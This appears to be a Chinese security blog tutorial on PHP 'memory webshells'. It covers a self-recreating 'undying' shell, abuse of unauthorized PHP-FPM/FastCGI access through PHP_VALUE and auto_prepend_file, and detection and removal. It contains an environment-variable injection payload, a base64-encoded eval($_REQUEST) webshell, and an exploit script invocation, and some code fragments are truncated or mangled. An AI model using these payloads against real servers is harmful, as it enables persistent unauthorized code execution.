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PHP内存马介绍

2023-09-02 09:57

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- PHP内存马

PHP内存马

PHP不死马

PHP不死马原理

php不死马顾名思义是指木马进程不会自己消亡的一种木马，该木马在内存中不断创建木马文件，从而达到管理员无法彻底删除的目的。实际上，PHP不死马并未实现无文件攻击或者内存webshell等，理论上并不属于内存马的范畴，但是关于PHP内存马的实现，确实仅有这几种方法，所以在此处简单介绍一下。

PHP不死马代码

';file_put_contents("shell.php", $content);usleep(10000);}?>

函数说明

1. ignore_user_abort()函数：函数设置与客户机断开是否会终止脚本的执行，如果设置为true，则忽略与用户的断开。2. set_time_limit()函数：设置允许脚本运行的时间，单位为秒。如果设置为0（零），没有时间方面的限制。3. unlink(__FILE__)函数：删除文件。4. file_put_contents函数：将一个字符串写入文件。5. usleep函数：延迟执行当前脚本若干微秒（一微秒等于一百万分之一秒）。

访问成功，并且无法删除。

值得注意的是php一般都有设置php超时事件，所以php后台运行一定时间后可能会自动终止。

检测思路

1. 检查所有php进程处理请求的持续时间(top|grep http)2. 检测执行文件是否在文件系统真实存在

查杀PHP不死马

重启php服务器
强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9
竞争删除

对于不死马，直接删除脚本是没有用的，因为php执行的时候已经把脚本读进去解释成opcode 运行了。使用条件竞争写入同名文件进行克制不死马。

FastCGI马

在了解FastCGI马之前，我们先来简要介绍一下FastCGI是个什么东东。

CGI与FastCGI

首先，我们来了解一下什么是CGI：以web服务器为例，我们知道apache可以用于搭建web服务器，但是apache只能够解析静态网页，也就是html类型网页；当然，我们可以安装php组件，通过apache配置文件使其能够解析php。这其中就用到了CGI，CGI是指Web Server 与 Web Application 之间数据交换的一种通信协议，当apache需要解析php时，他会通过配置文件获取到解析php服务的应用端口，并将需要解析的文件数据通过CGI协议交给PHP解析器。也就是说apache和php之间并不是一个整体（这是我以前误解的地方），而是apache通过CGI协议内部访问php解析器来实现php解析的。而FastCGI是CGI的升级版本，比 CGI 在效率上做了一些优化。两者的区别是：CGI每次解析是都会重新启动一个解析器进程，重新读取配置文件，重新载入扩展，解析完成后退出；而FastCGI是一种常驻型的CGI，只在进程启动时读取一次配置文件，请求解析完成后也不会退出，这样大大提高了性能。

类比于HTTP协议，FastCGI协议是服务器中间件与某个语言后端进行数据交换中所使用的协议。FastCGI每次交换的消息称为record，这与HTTP协议请求数据包类似，record也有自己的header和body。record的头固定8个字节，body是由头中的contentLength指定，其结构如下：

typedef struct {    unsigned char version; // 版本  unsigned char type; // 本次record的类型  unsigned char requestIdB1; // 本次record对应的请求id  unsigned char requestIdB0;  unsigned char contentLengthB1; // body体的大小  unsigned char contentLengthB0;  unsigned char paddingLength; // 额外块大小  unsigned char reserved;     unsigned char contentData[contentLength];  unsigned char paddingData[paddingLength];} FCGI_Record;

语言端解析FastCGI头之后，会根据contentLength获取的Body的数据，Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。

在FastCGI请求头中有一个type变量，type用于指定该record的作用，不同的record对应的bode结构不同，具体含义如下：

type值	具体含义
1	在与php-fpm建立连接之后发送的第一个消息中的type值就得为1，用来表明此消息为请求开始的第一个消息
2	异常断开与php-fpm的交互
3	在与php-fpm交互中所发的最后一个消息中type值为此，以表明交互的正常结束
4	在交互过程中给php-fpm传递环境参数时，将type设为此，以表明消息中包含的数据为某个name-value对
5	web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6	php-fpm给web服务器回的正常响应消息的type就设为6
7	php-fpm给web服务器回的错误响应设为7

这里我们主要介绍type为4的record，因为FastCGI木马使用到了该类型的record，其他类型详见看这篇文章。

当后端语言接收到一个type为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下：

typedef struct {  unsigned char nameLengthB0;    unsigned char valueLengthB0;   unsigned char nameData[nameLength];  unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct {  unsigned char nameLengthB0;    unsigned char valueLengthB3;   unsigned char valueLengthB2;  unsigned char valueLengthB1;  unsigned char valueLengthB0;  unsigned char nameData[nameLength];  unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct {  unsigned char nameLengthB3;    unsigned char nameLengthB2;  unsigned char nameLengthB1;  unsigned char nameLengthB0;  unsigned char valueLengthB0;   unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];  unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct {  unsigned char nameLengthB3;    unsigned char nameLengthB2;  unsigned char nameLengthB1;  unsigned char nameLengthB0;  unsigned char valueLengthB3;   unsigned char valueLengthB2;  unsigned char valueLengthB1;  unsigned char valueLengthB0;  unsigned char nameData[nameLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];  unsigned char valueData[valueLength          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;

这其实是4个结构，至于用哪个结构，有如下规则：

key、value均小于128字节，用FCGI_NameValuePair11
key大于128字节，value小于128字节，用FCGI_NameValuePair41
key小于128字节，value大于128字节，用FCGI_NameValuePair14
key、value均大于128字节，用FCGI_NameValuePair44

关于web中间件与php之间的通信，我们举个例子来进行说明。用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'}

Nginx将以上数据通过FastCGI协议格式发送给PHP-FPM，PHP-FPM拿到FastCGI的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php。

PHP-FPM

首先要说的是：FastCGI是一种协议规范，php-fpm最终会解析这个协议。我们知道无论是CGI还是FastCGI最终都会启动php解析器程序（php-cgi），但是该程序只能解析请求并不能进程管理，而php-fpm就是php-cgi的进程管理程序，它克服了php-cgi变更php.ini配置后，需重启php-cgi才能让新的php-ini生效，无法平滑重启；直接杀死php-cgi进程，php就不能运行了等问题。具体的相关信息可以看这篇文章

FastCGI未授权访问

那么，如果我们能够控制FastCGI的通信协议，是否可以执行任意代码呢？

理论上当然是不可以的，但是在PHP的配置中有两个特殊的配置项可以帮我们实现这一点：auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；
auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。

如果我们设置auto_prepend_file为php://input（只要Content-Type不为multipart/form-data， php://input会填入post数据，详见官方文档），那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。当然，还需要开启远程文件包含选项allow_url_include。

那么，我们如何设置auto-prepend_file的呢?

这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）

所以，我们最后传入如下环境变量：

{    'GATEWAY_INTERFACE': 'FastCGI/1.0',    'REQUEST_METHOD': 'GET',    'SCRIPT_FILENAME': '/var/www/html/index.php',    'SCRIPT_NAME': '/index.php',    'QUERY_STRING': '?a=1&b=2',    'REQUEST_URI': '/index.php?a=1&b=2',    'DOCUMENT_ROOT': '/var/www/html',    'SERVER_SOFTWARE': 'php/fcgiclient',    'REMOTE_ADDR': '127.0.0.1',    'REMOTE_PORT': '12345',    'SERVER_ADDR': '127.0.0.1',    'SERVER_PORT': '80',    'SERVER_NAME': "localhost",    'SERVER_PROTOCOL': 'HTTP/1.1'    'PHP_VALUE': 'auto_prepend_file = php://input',    'PHP_ADMIN_VALUE': 'allow_url_include = On'}

漏洞复现

复现环境可以使用vulhub的CVE-2019-11043复现环境。

Exp见p神的代码 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75。

python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c ""

参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例

利用PHP-FPM做内存马

上个章节介绍了接近内存马的PHP不死马以及利用FastCGI制作的木马，但是这两种木马都不符合内存马的基本特性----PHP 代码无法长久驻留内存执行，接下来我们对FastCGI马进行下相应的改进使其称为真正意义上的内存马。

在FastCGI马中，我们使用PHP_VALUE设置auto_prepend_file = php://input从而使得http请求传入的数据得到执行，那么有没有方法使得后门代码在内存中驻留呢？*我们只需要将php://input协议换为data就可以了（base64的内容为）

'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload用P神的代码修改一下即可。
P神的脚本：https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

由于使用了auto_prepend_file，因此我们只需要访问服务器上任意一个正常的 PHP 文件，无需任何修改，都能触发我们的内存马。

当然，这个方案也有局限性，因为是内存马，所以他实际上是和PHP-FPM的 Worker 进程绑定的，因此，如果服务器上有多个Worker进程，我们就需要多发送刚才的请求几次，才能让我们的payload“感染”每一个进程。

内存马的检测

既然是内存马，因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置，我们也无法从PHP.ini/.user.ini/php-fpm.conf等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求，因此也无法从webserver的accesslog中发现问题。但是我们是可以通过rasp之类的工具，通过检查auto_prepend_file/auto_append_file/allow_url_inclue配置的变化（虽然目前很多 rasp 也不会做这些操作）来做检测。
另外，由于触发方式可以是任意一个 PHP 文件，所以，我们想从后续的访问行为中做检查也有一定难度，但是可以从网络流量中检查对应的后门 payload，或者从进程的行为中，来做检查。